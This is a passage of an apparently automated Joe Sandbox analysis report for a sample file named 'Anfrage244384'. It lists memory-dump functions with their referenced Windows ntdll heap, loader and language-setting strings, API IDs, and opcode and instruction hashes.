                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                                        • API String ID: 0-258546922
                                                        • Opcode ID: e7cc8d1a0ccdf1779c8348c0e6ecbb645afc86cb746ba3b5ac8b8db6c175801d
                                                        • Instruction ID: 1501fc07a0df9540773c7d51f858b51fe5c95c35334224399830a989f727aaf9
                                                        • Opcode Fuzzy Hash: e7cc8d1a0ccdf1779c8348c0e6ecbb645afc86cb746ba3b5ac8b8db6c175801d
                                                        • Instruction Fuzzy Hash: 97F14E76E11629EFDB41CFA8C990ADEBBF9FF48650F51406AE405E7210DB709E01CBA0
                                                        Function 34E5B16B Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 8d7c63e906e58aac7da373ad4243b2c4f3b18f29b3f1418d95f6eecfc6e44cf0
                                                        • Instruction ID: 660755544234b3b69013d22ccd71b67543566556a16f6fd099d4686e3dd77417
                                                        • Opcode Fuzzy Hash: 8d7c63e906e58aac7da373ad4243b2c4f3b18f29b3f1418d95f6eecfc6e44cf0
                                                        • Instruction Fuzzy Hash: CDF12776F006158FDB18CF69C9A167EFBF6EF88210B1941ADD456EB390E634EA01CB50
                                                        Function 34D776B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
                                                        • API String ID: 0-3061284088
                                                        • Opcode ID: 0f04c164c6de03c85b574b11b3149172b5dc37786db6ade951c5001bf1068717
                                                        • Instruction ID: 855571e2c3a1cce1e8166797e6e72608314bf1b1831aec9a0043097e01e2f6be
                                                        • Opcode Fuzzy Hash: 0f04c164c6de03c85b574b11b3149172b5dc37786db6ade951c5001bf1068717
                                                        • Instruction Fuzzy Hash: E601D436205280DFE355DB28E819F627FD8EF43674F25409AF0144B662CF649888CA70
                                                        Function 34D970C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                        • API String ID: 0-3178619729
                                                        • Opcode ID: fa846618fea6cd531637679567d47529e2e2df8ab1710a9262dd898838949a69
                                                        • Instruction ID: a0c329488e315dca04c306e45300ac9869ec539496e642db990bb1b251b79e1a
                                                        • Opcode Fuzzy Hash: fa846618fea6cd531637679567d47529e2e2df8ab1710a9262dd898838949a69
                                                        • Instruction Fuzzy Hash: 70138A74A10655DFEB15CF68C880BE9BBF1BF49704F1481ADE889EB381D734A945CBA0
                                                        Function 34D93D40 Relevance: 5.4, Strings: 3, Instructions: 1603COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                        • API String ID: 0-3178619729
                                                        • Opcode ID: 883edb8d14c29f92afdf9f9d2c734034c9cff1c3872403abd08a9dec0d22912a
                                                        • Instruction ID: a1e2d467e570b5b6479969401e89501e0d5c3b8b793bd2affd54fecf7999293c
                                                        • Opcode Fuzzy Hash: 883edb8d14c29f92afdf9f9d2c734034c9cff1c3872403abd08a9dec0d22912a
                                                        • Instruction Fuzzy Hash: DFE27A74A04255DFEB15CF68C890BEABBF1FF49304F1481A9E849EB396D734A845CB90
                                                        Function 34D7F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
                                                        • API String ID: 0-2586055223
                                                        • Opcode ID: c780f1a6e5258c457327f0da7ae892b58ca9c32c4510971cf5e4d689677772ef
                                                        • Instruction ID: 3280395ec7127da2d98b34d775e1b72eccbb4204729ba1f333ed69a246004ff9
                                                        • Opcode Fuzzy Hash: c780f1a6e5258c457327f0da7ae892b58ca9c32c4510971cf5e4d689677772ef
                                                        • Instruction Fuzzy Hash: 4F61DF76205B80EFE722CF24D884F5A7BE8FF85754F140468E9A48B291DB34E805CBA1
                                                        Function 34E311A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                                        • API String ID: 0-336120773
                                                        • Opcode ID: 1a8e358fc7f94f87f02dbbbab322fb27398158b9f3ba9444d7641b19e4819d66
                                                        • Instruction ID: bdd3bb2085351325f5c6ff959e271a48f73d3d125bf2a07bd167d0c51cfbe0a9
                                                        • Opcode Fuzzy Hash: 1a8e358fc7f94f87f02dbbbab322fb27398158b9f3ba9444d7641b19e4819d66
                                                        • Instruction Fuzzy Hash: 5431C139601200EFE742CB98CC80F6AF7E8EF45668F55419DF411DB2A2EB31ED44DA65
                                                        Function 34D79148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
                                                        • API String ID: 0-1391187441
                                                        • Opcode ID: b8ddc112191e4426a3ae081931c3504113a0db18ac4fb18b03175fc276dc7961
                                                        • Instruction ID: da723e2e03d25fa9f47472d0530bfde220d3c6dbad900d18150905d1030721dc
                                                        • Opcode Fuzzy Hash: b8ddc112191e4426a3ae081931c3504113a0db18ac4fb18b03175fc276dc7961
                                                        • Instruction Fuzzy Hash: C0316F76A00204EFEB41CF55CC84F9ABBF9EF467A4F1540A5E815AB291DB70ED44CE60
                                                        Function 34E2FCDF Relevance: 5.1, Strings: 4, Instructions: 54COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
                                                        • API String ID: 0-4256168463
                                                        • Opcode ID: 105a2f493b3523e1d8576800642b2c39ac10e5757ca48b6bf38a99b386eedeef
                                                        • Instruction ID: 5cac96e295a19ccea21040b24e4b4e8bf935e4027e1495b0b4b4d7098d39c887
                                                        • Opcode Fuzzy Hash: 105a2f493b3523e1d8576800642b2c39ac10e5757ca48b6bf38a99b386eedeef
                                                        • Instruction Fuzzy Hash: 3701F136211700DFDB52EF64D840B8A7BE9EF03668F10449AE4419B292DF34ED89DF64
                                                        Function 34D87152 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: e47208ab3ac30f6dcf73e5c653303a75e812c39c37aabf13bce10df6bc8d0ea9
                                                        • Instruction ID: b4570b4f2305dd1662253a30a3042fe150276ed439c5c3a95fd68a8efbb9fef9
                                                        • Opcode Fuzzy Hash: e47208ab3ac30f6dcf73e5c653303a75e812c39c37aabf13bce10df6bc8d0ea9
                                                        • Instruction Fuzzy Hash: 0E51FA75B00616EFFB05DB64C884BBEBBF8FF447A1F104169E452A36A0EB709941CB90
                                                        Function 34D81460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • HEAP: , xrefs: 34D81596
                                                        • HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 34D81728
                                                        • HEAP[%wZ]: , xrefs: 34D81712
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                        • API String ID: 0-3178619729
                                                        • Opcode ID: 237da94ddeb50b51556eea0102c59f7aa1c1222cc0820f76fa4ce3fe8bb087d4
                                                        • Instruction ID: cae0a0147c049991efd67b0750643563c48e8c2c1044dda1e3b85f13fa5acd3a
                                                        • Opcode Fuzzy Hash: 237da94ddeb50b51556eea0102c59f7aa1c1222cc0820f76fa4ce3fe8bb087d4
                                                        • Instruction Fuzzy Hash: 27E1BD74A043459FE715CF68C851ABABBF5BF49304F14889DE8D68B246EB34E948CB50
                                                        Function 34D8B6C0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
                                                        • API String ID: 0-1145731471
                                                        • Opcode ID: db50cc093e6fc6c5a6b626cf8f0eaae623dc16c31d58f107510dd01a86db0b01
                                                        • Instruction ID: 4e03ca13cfa909673e331f375d5c26efa0dfb2b7af73361e3e13e6c893acc07d
                                                        • Opcode Fuzzy Hash: db50cc093e6fc6c5a6b626cf8f0eaae623dc16c31d58f107510dd01a86db0b01
                                                        • Instruction Fuzzy Hash: 2BB19B75A14B449FEB15CF69C980BBDB7B6BF44350F15482DE865EBA80E730E881CB60
                                                        Function 34E0368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$DelegatedNtdll$\SystemRoot\system32\
                                                        • API String ID: 0-2391371766
                                                        • Opcode ID: 8564ce4a536fad0451575511a393ecc4e1248ddb1e510d432ecb968cf67cab3c
                                                        • Instruction ID: 69087d9bdba03f8f2ad0181eae590b7e1b94c789f384c6e8258edccf8d2835ee
                                                        • Opcode Fuzzy Hash: 8564ce4a536fad0451575511a393ecc4e1248ddb1e510d432ecb968cf67cab3c
                                                        • Instruction Fuzzy Hash: F8B160B5604345AFE311CF55C880B5BB7E8FB44768F408929F9A0AB290DB75EC44CFA6
                                                        Function 34E136EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
                                                        • API String ID: 0-318774311
                                                        • Opcode ID: 527ce7c7e2b5e27c5d5e77bed8f6c5b496ae899136901a3bcd08b7e917ae51f0
                                                        • Instruction ID: 0072a3f606340b3dbbb778e93c9c7fc508fbc45b0cec2924c10d60745c2050c4
                                                        • Opcode Fuzzy Hash: 527ce7c7e2b5e27c5d5e77bed8f6c5b496ae899136901a3bcd08b7e917ae51f0
                                                        • Instruction Fuzzy Hash: B18168B5648341AFF3118B15C880B6BBBE8FF85794F44092DB994DB790DB74D9048BA2
                                                        Function 34E07410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Objects=%4u$Objects>%4u$VirtualAlloc
                                                        • API String ID: 0-3870751728
                                                        • Opcode ID: 4cd6195e52f3c65470e08a178fa307391d9a1feee171136bd32fe07465b52ffc
                                                        • Instruction ID: 7dc0060684b469ecf6f95315090771cc6a6c7d437c6f1c52216d33627ff7c0e1
                                                        • Opcode Fuzzy Hash: 4cd6195e52f3c65470e08a178fa307391d9a1feee171136bd32fe07465b52ffc
                                                        • Instruction Fuzzy Hash: 06916AB0E00205DFEB14CFA9D480BADBBB1FF48314F14C16AE915AB291EB749842DF54
                                                        Function 34D8B440 Relevance: 4.0, Strings: 3, Instructions: 221COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
                                                        • API String ID: 0-373624363
                                                        • Opcode ID: d274dd82954d8e445f861635a5f0799e0bac80f4c360c33e5f08c7457a247bdc
                                                        • Instruction ID: fa58430fb230781d49ee6c58c2acf555a5e139016d0a6a5b0047d787f2c81cd8
                                                        • Opcode Fuzzy Hash: d274dd82954d8e445f861635a5f0799e0bac80f4c360c33e5f08c7457a247bdc
                                                        • Instruction Fuzzy Hash: DB91CDB5E04319CFEB11CF58C891BBE77B4FF05364F548199E860AB290D7789A81CB90
                                                        Function 34DB909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: %$&$@
                                                        • API String ID: 0-1537733988
                                                        • Opcode ID: b9c2e58a144986aad5888c5ed2fe51724d78890160a27bf7d4e17448148145cb
                                                        • Instruction ID: b0fd475cdcee2a2f66e906c1a12d5dd7539f95cdad5429286c72387e82fcee24
                                                        • Opcode Fuzzy Hash: b9c2e58a144986aad5888c5ed2fe51724d78890160a27bf7d4e17448148145cb
                                                        • Instruction Fuzzy Hash: 8C71AD74A09381DFEB10CF20C990A0BBBE9BF85658F50895DE4EB47291DB31D905CFA2
                                                        Function 34E5B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • TargetNtPath, xrefs: 34E5B82F
                                                        • GlobalizationUserSettings, xrefs: 34E5B834
                                                        • \Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 34E5B82A
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
                                                        • API String ID: 0-505981995
                                                        • Opcode ID: 12da06774597a097d10be1518d49687eeb64e0b715ad0d34c5abc92865bd8cb8
                                                        • Instruction ID: 299544a7a6006ed68331c652814ad7109183b09b4cf5485c1668d2b58a57605a
                                                        • Opcode Fuzzy Hash: 12da06774597a097d10be1518d49687eeb64e0b715ad0d34c5abc92865bd8cb8
                                                        • Instruction Fuzzy Hash: 9A617F76901629EFEB21DF54DC88BDAB7B8EF04754F4101E9A508AB261DB34DE84CF90
                                                        Function 34D7F7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 34DDE6C6
                                                        • HEAP: , xrefs: 34DDE6B3
                                                        • HEAP[%wZ]: , xrefs: 34DDE6A6
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
                                                        • API String ID: 0-1340214556
                                                        • Opcode ID: 118c4a6f752ea21fc69748fbe72f55b8f0d2b9b23d8f5c349068e0ff09759e81
                                                        • Instruction ID: b28f25681a098fb0380da3159bdb31d45f837934a610ad6c3033db08b9eb3066
                                                        • Opcode Fuzzy Hash: 118c4a6f752ea21fc69748fbe72f55b8f0d2b9b23d8f5c349068e0ff09759e81
                                                        • Instruction Fuzzy Hash: 3E519175700A84EFE312CBA4C994B96BBE8FF05344F0445A9E5908B692D778E940CB60
                                                        Function 34DA15F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • Could not validate the crypto signature for DLL %wZ, xrefs: 34DEA589
                                                        • minkernel\ntdll\ldrmap.c, xrefs: 34DEA59A
                                                        • LdrpCompleteMapModule, xrefs: 34DEA590
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                                        • API String ID: 0-1676968949
                                                        • Opcode ID: 0f5412455795991d7b3c8b21ef56e3d36e86f97335a91fc33d11d7f4ca400686
                                                        • Instruction ID: b6b0308228653c5d1ecf3c3140270a456a8f32e547e9baa74d01fefa5ddd7660
                                                        • Opcode Fuzzy Hash: 0f5412455795991d7b3c8b21ef56e3d36e86f97335a91fc33d11d7f4ca400686
                                                        • Instruction Fuzzy Hash: F251BB78700B46DFE711CB68C944B1A7BE8FB01764F1C06A9E991DB6E1DB74EC408B50
                                                        Function 34D7758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
                                                        • API String ID: 0-1151232445
                                                        • Opcode ID: b4c320322d30947825174fec753ae0e2b8baf394deeb27c3122f4bdfff8e9000
                                                        • Instruction ID: 25ae432c2a7a1dd611f0091e655c1ccd1a7064afcd099f47738229ed26fc28cd
                                                        • Opcode Fuzzy Hash: b4c320322d30947825174fec753ae0e2b8baf394deeb27c3122f4bdfff8e9000
                                                        • Instruction Fuzzy Hash: 5041D4F83003408FEB59DE7CC4D07697BA5EF02384F5488AEE4858F65ADA64E885CB51
                                                        Function 34DB16CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 34DF1B39
